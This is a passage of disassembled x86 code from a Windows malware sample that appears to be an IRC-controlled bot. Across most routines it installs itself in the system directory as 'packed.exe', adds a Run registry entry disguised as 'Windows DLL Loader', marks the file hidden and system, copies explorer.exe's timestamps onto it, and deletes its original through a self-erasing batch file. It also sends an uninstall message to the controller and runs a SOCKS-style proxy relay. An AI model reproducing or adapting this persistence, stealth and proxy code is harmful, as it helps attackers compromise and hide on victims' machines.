		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_406A0C
		cmp	[ebp+var_4], 1
		jz	short loc_4068FF
		cmp	[ebp+var_4], 2
		jnz	short loc_406915


loc_4068FF:				; CODE XREF: sub_406722+1D5j
		push	[ebp+var_214]
		push	offset aS	; "%s"
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406915:				; CODE XREF: sub_406722+1DBj
		cmp	[ebp+var_4], 4
		jnz	short loc_406933
		mov	eax, [ebp+var_214]
		push	dword ptr [eax]
		push	offset a08x	; "%08X"
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406933:				; CODE XREF: sub_406722+1F7j
		cmp	[ebp+var_4], 3
		jnz	loc_406A0C
		push	180h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_420], eax
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0
		and	[ebp+var_41C], 0
		jmp	short loc_40696D
; ---------------------------------------------------------------------------


loc_406960:				; CODE XREF: sub_406722+2C3j
		mov	eax, [ebp+var_41C]
		inc	eax
		mov	[ebp+var_41C], eax


loc_40696D:				; CODE XREF: sub_406722+23Cj
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4069EA
		mov	eax, [ebp+var_214]
		add	eax, [ebp+var_41C]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset a02x	; "%02X"
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B40	; strlen
		pop	ecx
		add	eax, 3
		cmp	eax, 180h
		jb	short loc_4069D1
		push	[ebp+var_420]
		push	offset aS	; "%s"
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0


loc_4069D1:				; CODE XREF: sub_406722+28Ej
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+var_420]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	loc_406960
; ---------------------------------------------------------------------------


loc_4069EA:				; CODE XREF: sub_406722+254j
		push	[ebp+var_420]
		push	offset aS	; "%s"
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B4C	; free
		pop	ecx


loc_406A0C:				; CODE XREF: sub_406722+1CBj
					; sub_406722+215j
		push	[ebp+var_214]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_C]
		call	dword_417028	; RegCloseKey

locret_406A21:				; CODE XREF: sub_406722+Fj
					; sub_406722+20j ...
		leave
		retn
sub_406722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A23	proc near		; CODE XREF: sub_40D043:loc_40D18Dp
					; sub_40D871:loc_40DB71p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DC0C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short locret_406AE5
		push	[ebp+var_108]
		push	1
		push	2
		push	offset dword_418DE0
		call	sub_416B7C	; fwrite
		add	esp, 10h
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406B81
		pop	ecx

locret_406AE5:				; CODE XREF: sub_406A23+90j
		leave
		retn
sub_406A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AE7	proc near		; CODE XREF: sub_40D043+13Dp
					; sub_40D871+2F3p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DC0C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short loc_406B7D
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_406B7F
; ---------------------------------------------------------------------------


loc_406B7D:				; CODE XREF: sub_406AE7+83j
		xor	eax, eax

locret_406B7F:				; CODE XREF: sub_406AE7+94j
		leave
		retn
sub_406AE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B81	proc near		; CODE XREF: sub_406A23+BCp
					; sub_406E8E+246p

var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	104h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417040	; GetWindowsDirectoryA
		push	offset aExplorer_exe ; "\\explorer.exe"
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_417048	; GetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_41704C	; SetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle

locret_406C4F:				; CODE XREF: sub_406B81+5Aj
					; sub_406B81+A8j
		leave
		retn
sub_406B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C51	proc near		; CODE XREF: sub_406E8E+133p
					; sub_406E8E+214p ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_417014	; RegCreateKeyExA
		cmp	[ebp+arg_0], 0
		jz	short loc_406CE1
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_41703C	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417010	; RegSetValueExA
		jmp	short loc_406CED
; ---------------------------------------------------------------------------


loc_406CE1:				; CODE XREF: sub_406C51+30j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417004	; RegDeleteValueA


loc_406CED:				; CODE XREF: sub_406C51+8Ej
		push	[ebp+var_4]
		call	dword_417028	; RegCloseKey
		leave
		retn
sub_406C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CF8	proc near		; CODE XREF: sub_406D47+2Bp
					; sub_406E8E+253p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_4], 0
		jmp	short loc_406D1D
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_406CF8:loc_406D40j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_406D1D:				; CODE XREF: sub_406CF8+1Cj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_406D42
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406D40
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_8], eax


loc_406D40:				; CODE XREF: sub_406CF8+39j
		jmp	short loc_406D16
; ---------------------------------------------------------------------------


loc_406D42:				; CODE XREF: sub_406CF8+2Bj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_406CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D47	proc near		; CODE XREF: sub_406E8E+9p
					; sub_407148+9p

var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_406CF8
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417038	; SetCurrentDirectoryA
		leave
		retn
sub_406D47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D90	proc near		; CODE XREF: sub_406E8E+25Ap
					; sub_407148+168p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0


loc_406DA8:				; CODE XREF: sub_406D90:loc_406DDFj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+ecx+var_18], al
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnz	short loc_406DDF
		push	offset a_bat	; ".bat"
		mov	eax, [ebp+var_1C]
		lea	eax, [ebp+eax+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406DE1
; ---------------------------------------------------------------------------


loc_406DDF:				; CODE XREF: sub_406D90+37j
		jmp	short loc_406DA8
; ---------------------------------------------------------------------------


loc_406DE1:				; CODE XREF: sub_406D90+4Dj
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		push	400h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_406E2B
		xor	eax, eax
		jmp	short locret_406E8C
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: sub_406D90+95j
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	[ebp+var_24]
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	[ebp+var_4], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_24]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	dword_417068	; WriteFile
		push	[ebp+var_28]
		call	dword_4170A4	; CloseHandle
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		push	1
		pop	eax

locret_406E8C:				; CODE XREF: sub_406D90+99j
		leave
		retn
sub_406D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E8E	proc near		; CODE XREF: cAddress:loc_4169E1p

var_368		= dword	ptr -368h
var_338		= word ptr -338h
var_324		= byte ptr -324h
var_220		= dword	ptr -220h
var_21C		= byte ptr -21Ch
var_118		= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 368h
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_324]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_14], 0
		and	[ebp+var_220], 0
		jmp	short loc_406ED1
; ---------------------------------------------------------------------------


loc_406EC4:				; CODE XREF: sub_406E8E:loc_406FF8j
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_406ED1:				; CODE XREF: sub_406E8E+34j
		mov	eax, [ebp+var_220]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_406FFD
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_21C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406FF8
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	1
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_406FF8:				; CODE XREF: sub_406E8E+E3j
		jmp	loc_406EC4
; ---------------------------------------------------------------------------


loc_406FFD:				; CODE XREF: sub_406E8E+53j
		push	[ebp+var_14]
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170AC	; DeleteFileA


loc_40707C:				; DATA XREF: cAddress:0041AD4Co
					; cAddress:0041AD60o ...
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_324]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_4070AF
		push	offset aPacked_exe ; "packed.exe"
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_406C51
		add	esp, 0Ch
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_4070AF:				; CODE XREF: sub_406E8E+206j
		push	4
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		push	2
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_406B81
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		push	44h
		push	0
		lea	eax, [ebp+var_368]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_368], 44h
		and	[ebp+var_338], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		call	dword_41707C	; CreateProcessA
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit

locret_407146:				; CODE XREF: sub_406E8E+165j
					; sub_406E8E+21Cj
		leave
		retn
sub_406E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407148	proc near		; CODE XREF: cAddress:004031EDp
					; sub_40A9CF+145Fp ...

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_108], 0
		jmp	short loc_407187
; ---------------------------------------------------------------------------


loc_40717A:				; CODE XREF: sub_407148:loc_4072DBj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax


loc_407187:				; CODE XREF: sub_407148+30j
		mov	eax, [ebp+var_108]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_4072E0
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4072DB
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	0
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short loc_4072D9
		push	offset aPacked_exe ; "packed.exe"
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess


loc_4072D9:				; CODE XREF: sub_407148+170j
		jmp	short locret_40732B
; ---------------------------------------------------------------------------


loc_4072DB:				; CODE XREF: sub_407148+D8j
		jmp	loc_40717A
; ---------------------------------------------------------------------------


loc_4072E0:				; CODE XREF: sub_407148+4Fj
		push	offset aPacked_exe ; "packed.exe"
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	0
		call	sub_406C51
		add	esp, 0Ch
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short locret_40732B
		push	offset aPacked_exe ; "packed.exe"
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess

locret_40732B:				; CODE XREF: sub_407148:loc_4072D9j
					; sub_407148+1C2j
		leave
		retn
sub_407148	endp

; ---------------------------------------------------------------------------


loc_40732D:				; DATA XREF: cAddress:00407792o
		push	ebp
		mov	ebp, esp
		mov	eax, 16F0h
		call	sub_416BC0
		push	1BDh
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1C8h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp-1C8h]
		mov	[ebp-5D4h], eax
		push	0
		push	408h
		lea	eax, [ebp-5D0h]
		push	eax
		push	dword ptr [ebp-5D4h]
		call	dword_417248	; recv
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	short loc_40738F
		cmp	dword ptr [ebp-8], 0FFFFFFFFh
		jnz	short loc_407396


loc_40738F:				; CODE XREF: cAddress:00407387j
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407396:				; CODE XREF: cAddress:0040738Dj
		movzx	eax, byte ptr [ebp-5D0h]
		cmp	eax, 4
		jnz	short loc_4073BA
		movzx	eax, byte ptr [ebp-5CFh]
		cmp	eax, 1
		jnz	short loc_4073BA
		mov	dword ptr [ebp-16ECh], 1
		jmp	short loc_4073C1
; ---------------------------------------------------------------------------


loc_4073BA:				; CODE XREF: cAddress:004073A0j
					; cAddress:004073ACj
		and	dword ptr [ebp-16ECh], 0


loc_4073C1:				; CODE XREF: cAddress:004073B8j
		mov	eax, [ebp-16ECh]
		mov	[ebp-4], eax
		movsx	eax, byte ptr [ebp-1BEh]
		test	eax, eax
		jz	short loc_4073F5
		push	10h
		lea	eax, [ebp-1BEh]
		push	eax
		lea	eax, [ebp-5C8h]
		push	eax
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4073F5
		and	dword ptr [ebp-4], 0


loc_4073F5:				; CODE XREF: cAddress:004073D3j
					; cAddress:004073EFj
		movsx	eax, byte ptr [ebp-1Bh]
		test	eax, eax
		jz	short loc_407456
		lea	eax, [ebp-6E0h]
		push	eax
		push	dword ptr [ebp-5D4h]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		cmp	dword ptr [ebp-4], 0
		jz	short loc_407423
		mov	dword ptr [ebp-16F0h], offset byte_41DE00
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: cAddress:00407415j
		mov	dword ptr [ebp-16F0h], offset aRejected	; " rejected"


loc_40742D:				; CODE XREF: cAddress:00407421j
		push	dword ptr [ebp-16F0h]
		movzx	eax, byte ptr [ebp-5D0h]
		push	eax
		lea	eax, [ebp-6E0h]
		push	eax
		push	offset dword_418EB8
		lea	eax, [ebp-1AEh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_407456:				; CODE XREF: cAddress:004073FBj
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_4074A0
		push	8
		push	0
		lea	eax, [ebp-5D0h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	byte ptr [ebp-5CFh], 5Bh
		push	8
		lea	eax, [ebp-5D0h]
		push	eax
		push	dword ptr [ebp-5D4h]
		call	sub_4053BF
		add	esp, 0Ch
		push	dword ptr [ebp-5D4h]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_4074A0:				; CODE XREF: cAddress:0040745Aj
		push	0Ah
		lea	eax, [ebp-5DCh]
		push	eax
		push	dword ptr [ebp-5CEh]
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp-5DCh]
		push	eax
		push	dword ptr [ebp-5CCh]
		call	dword_41721C	; inet_ntoa
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp-5E0h], eax
		push	8
		push	0
		lea	eax, [ebp-5D0h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	dword ptr [ebp-5E0h], 0
		jnz	short loc_407537
		mov	byte ptr [ebp-5CFh], 5Bh
		push	8
		lea	eax, [ebp-5D0h]
		push	eax
		push	dword ptr [ebp-5D4h]
		call	sub_4053BF
		add	esp, 0Ch
		push	dword ptr [ebp-5D4h]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407537:				; CODE XREF: cAddress:00407504j
		mov	byte ptr [ebp-5CFh], 5Ah
		push	8
		lea	eax, [ebp-5D0h]
		push	eax
		push	dword ptr [ebp-5D4h]
		call	sub_4053BF
		add	esp, 0Ch


loc_407555:				; CODE XREF: cAddress:0040762Aj
		push	dword ptr [ebp-5D4h]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_4075BD
		push	0
		push	1000h
		lea	eax, [ebp-16E0h]
		push	eax
		push	dword ptr [ebp-5D4h]
		call	dword_417248	; recv
		mov	[ebp-16E4h], eax
		cmp	dword ptr [ebp-16E4h], 0
		jz	short loc_407597
		cmp	dword ptr [ebp-16E4h], 0FFFFFFFFh
		jnz	short loc_40759C


loc_407597:				; CODE XREF: cAddress:0040758Cj
		jmp	loc_40762F
; ---------------------------------------------------------------------------


loc_40759C:				; CODE XREF: cAddress:00407595j
		push	dword ptr [ebp-16E4h]
		lea	eax, [ebp-16E0h]
		push	eax
		push	dword ptr [ebp-5E0h]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4075BD
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_4075BD:				; CODE XREF: cAddress:00407563j
					; cAddress:004075B9j
		push	dword ptr [ebp-5E0h]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_407622
		push	0
		push	1000h
		lea	eax, [ebp-16E0h]
		push	eax
		push	dword ptr [ebp-5E0h]
		call	dword_417248	; recv
		mov	[ebp-16E8h], eax
		cmp	dword ptr [ebp-16E8h], 0
		jz	short loc_4075FF
		cmp	dword ptr [ebp-16E8h], 0FFFFFFFFh
		jnz	short loc_407601


loc_4075FF:				; CODE XREF: cAddress:004075F4j
